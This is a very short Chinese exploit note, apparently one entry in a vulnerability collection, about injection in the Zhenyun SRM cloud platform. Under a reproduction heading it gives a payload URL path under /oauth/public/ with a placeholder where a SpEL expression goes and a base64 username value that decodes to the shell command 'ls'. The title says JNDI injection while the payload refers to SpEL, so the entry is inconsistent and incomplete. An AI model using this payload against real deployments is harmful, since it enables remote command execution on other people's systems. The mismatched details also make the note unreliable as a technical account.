Z18-1甄云-SRM云平台 -JNDI注入

漏洞复现：

payload：

/oauth/public/SpEL表达式/ab?username=bHM=